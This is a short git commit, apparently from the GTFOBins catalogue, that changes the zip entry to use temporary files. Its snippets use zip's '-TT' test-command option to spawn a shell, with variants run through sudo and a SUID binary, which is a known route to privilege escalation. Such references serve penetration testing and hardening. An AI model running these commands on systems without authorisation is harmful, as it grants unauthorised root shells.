Use temporary files in zip functions

This commit is contained in:
Emilio Pinna 2018-08-19 11:32:48 +01:00
parent a68ef39e30
commit 0ba5df0cb9

View File

@ -2,14 +2,17 @@
functions: functions:
execute-interactive: execute-interactive:
- code: | - code: |
zip /tmp/x.zip /etc/hosts -T -TT 'sh #' TF=$(mktemp -u)
rm /tmp/x.zip zip $TF /etc/hosts -T -TT 'sh #'
rm $TF
sudo-enabled: sudo-enabled:
- code: | - code: |
sudo zip /tmp/x.zip /etc/hosts -T -TT 'sh #' TF=$(mktemp -u)
sudo rm /tmp/x.zip sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF
suid-limited: suid-limited:
- code: | - code: |
./zip /tmp/x.zip /etc/hosts -T -TT 'sh #' TF=$(mktemp -u)
sudo rm /tmp/x.zip ./zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF
--- ---